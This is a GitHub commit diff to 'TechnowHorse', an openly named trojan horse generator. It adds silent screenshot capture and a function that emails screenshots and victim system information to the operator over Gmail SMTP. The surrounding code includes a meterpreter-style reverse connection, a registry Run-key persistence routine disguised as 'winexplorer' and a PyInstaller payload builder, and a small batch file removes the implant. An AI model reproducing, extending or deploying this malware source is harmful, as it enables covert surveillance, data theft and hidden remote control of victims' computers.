Skip to content

Commit 29345e4

Browse files
Upgraded to v1.3;
Used mss module instead of pyautogui to decrease the size of payload from 60mb to 5mb (approx)
1 parent 36b8d20 commit 29345e4

File tree

4 files changed

+55
-3
lines changed

4 files changed

+55
-3
lines changed

RemoveTechnowHorse.bat

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
del /q C:\Users\%USERNAME%\AppData\Roaming\explorer.exe
2+
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v winexplorer /f
3+
cls
4+
echo "[*] DONE "
5+
echo "[*] Please Restart Your System!"
6+
pause

paygen.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88
PYTHON_PYINSTALLER_PATH = "C:/Python37-32/Scripts/pyinstaller.exe"
99

1010
def get_options():
11-
parser = argparse.ArgumentParser(description='TechnowHorse v1.1')
11+
parser = argparse.ArgumentParser(description='TechnowHorse v1.3')
1212
parser._optionals.title = "Optional Arguments"
1313
parser.add_argument("-w", "--windows", dest="windows", help="Generate a Windows executable.", action='store_true')
1414
parser.add_argument("-l", "--linux", dest="linux", help="Generate a Linux executable.", action='store_true')

payload.py

+46-1
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,16 @@
22

33
import socket, struct, time #Part of meterpreter Payload
44
import smtplib #Reporting the TrojanHorse Started Message via Email
5+
#==============================================================
6+
# 4,8 to 11 lines for "send_mail_with_attachment()" function
7+
#==============================================================
8+
from email.mime.text import MIMEText
9+
from email.mime.multipart import MIMEMultipart
10+
from email.mime.application import MIMEApplication
11+
from os.path import basename
12+
#==============================================================
13+
from mss import mss #To Capture Screenshot
14+
import tempfile #To Return cross platform temp directory; Used in "take_screenshot()" function
515
import os
616
import shutil
717
import subprocess
@@ -15,6 +25,7 @@ class TrojanHorse:
1525
def __init__(self, email, password, ip, port):
1626
self.log = ""
1727
self.email = email
28+
self.temp_screenshot = tempfile.gettempdir() + "\\screenshot.png"
1829
self.password = password
1930
self.ip = ip
2031
self.port = port
@@ -44,12 +55,24 @@ def get_system_info(self):
4455
user = getpass.getuser()
4556
return "Operating System:\t" + os + "\nComputer Name:\t\t" + computer_name + "\nUser:\t\t\t\t" + user
4657

58+
def take_screenshot(self):
59+
try:
60+
os.remove('screenshot.png')
61+
except Exception as e:
62+
pass
63+
temp_dir = tempfile.gettempdir()
64+
os.chdir(temp_dir)
65+
with mss() as screenshot:
66+
screenshot.shot(output="screenshot.png")
67+
4768
def start(self):
4869
if self.log == "":
4970
pass
5071
else:
5172
try:
5273
self.send_mail(self.log)
74+
self.take_screenshot()
75+
self.send_mail_with_attachment(files= [self.temp_screenshot])
5376
except Exception as e:
5477
print(f"Error: {e}")
5578
time.sleep(10)
@@ -74,12 +97,34 @@ def connect(self, ip, port):
7497
self.connect(self.ip, self.port)
7598

7699
def send_mail(self, message):
77-
message = "Subject: TechnowHorse Report\n\n" + "Report From:\n\n" + self.system_info + "\n\nLogs:\n" + message
100+
message = "Subject: TechnowHorse Reporting\n\n" + "Report From:\n\n" + self.system_info + "\n\nLogs:\n" + message
78101
server = smtplib.SMTP("smtp.gmail.com", 587)
79102
server.starttls()
80103
server.login(self.email, self.password)
81104
server.sendmail(self.email, self.email, message)
82105
server.quit()
106+
107+
def send_mail_with_attachment(self, files= None):
108+
msg = MIMEMultipart()
109+
msg['From'] = self.email
110+
msg['To'] = self.email
111+
msg['Subject'] = "TechnowHorse Reporting With Attachments"
112+
text = "\nReport From:\n\n" + self.system_info
113+
msg.attach(MIMEText(text))
114+
115+
for f in files or []:
116+
with open(f, "rb") as fil:
117+
ext = f.split('.')[-1:]
118+
attachedfile = MIMEApplication(fil.read(), _subtype = ext)
119+
attachedfile.add_header(
120+
'content-disposition', 'attachment', filename=basename(f) )
121+
msg.attach(attachedfile)
122+
123+
smtp = smtplib.SMTP(host="smtp.gmail.com", port= 587)
124+
smtp.starttls()
125+
smtp.login(self.email, self.password)
126+
smtp.sendmail(self.email, self.email, msg.as_string())
127+
smtp.close()
83128

84129
def become_persistent(self):
85130
if sys.platform.startswith("win"):

requirements.txt

+2-1
Original file line numberDiff line numberDiff line change
@@ -12,4 +12,5 @@ subprocess
1212
sys
1313
stat
1414
platform
15-
getpass
15+
getpass
16+
mss

0 commit comments

Comments
 (0)